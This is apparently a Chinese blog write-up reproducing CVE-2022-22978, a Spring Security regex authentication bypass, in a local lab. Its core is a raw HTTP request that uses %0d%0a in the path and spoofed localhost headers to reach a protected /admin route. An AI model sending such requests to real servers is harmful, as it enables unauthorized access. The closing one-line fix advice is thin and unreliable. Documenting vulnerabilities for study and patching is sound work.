发布于 

CVE-2022-22978(Spring Security 认证绕过漏洞)

1. 漏洞描述

当Spring-security使用 RegexRequestMatcher 进行权限配置,由于RegexRequestMatcher正则表达式配置权限的特性,正则表达式中包含“.”时,未经身份验证攻击者可以通过构造恶意数据包绕过身份认证,.不匹配换行符\n,从而构造恶意数据包

2. 影响版本

  • Spring Security 5.5.x < 5.5.7
  • Spring Security 5.6.x < 5.6.4

3. 漏洞复现

3.1 部署环境

由于此环境在vulhub中拉取有误,所以在本地实现。

使用idea部署cve_2022_22978

BurpSuite不抓本地包,所以我们在配置properties里面加一句server.address=192.168.2.222

3.2 分析项目

代码量很小:

image-20221022024609192

一个AuthConfig初步认定为认证配置,一个SpringBoot的启动Application,一个controller控制器。

3.2.1. AuthConfig

image-20221022024758277

  • @Configuration:SpringBoot注解表示这个类是配置类,自动注入到Spring容器中
  • @EnableWebSecurity:这个注解表示开启SpringSecurity
  • 下面两个@Bean,这两个Bean是对SpringSecurity的常用自定义配置。

我们可以看到上面对路径的拦截是通过正则表达式拦截的,正常可以直接在后面跟*但是在这个有漏洞的环境中使用了.*所以从而会被绕过。

3.2.2 Application

正常Spring容器启动类。

image-20221022025136854

3.2.3 WebController

控制器:相当于接口路由

image-20221022025224409

这些是定义的两个路由接口,但是SpringSecurity中自带一个/login 接口

3.3 分析界面

访问/admin发现被权限拦截了,到了/login界面,我们知道他的漏洞了,就需要对其进行绕过。

image-20221022025448936

3.4 截断绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /admin/test%0d%0a HTTP/1.1
Host: 192.168.2.222:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

image-20221022030053863

经测试:%0d%0a以及两个单独存在都能绕过。

5. 修复建议

将白名单正则用*代替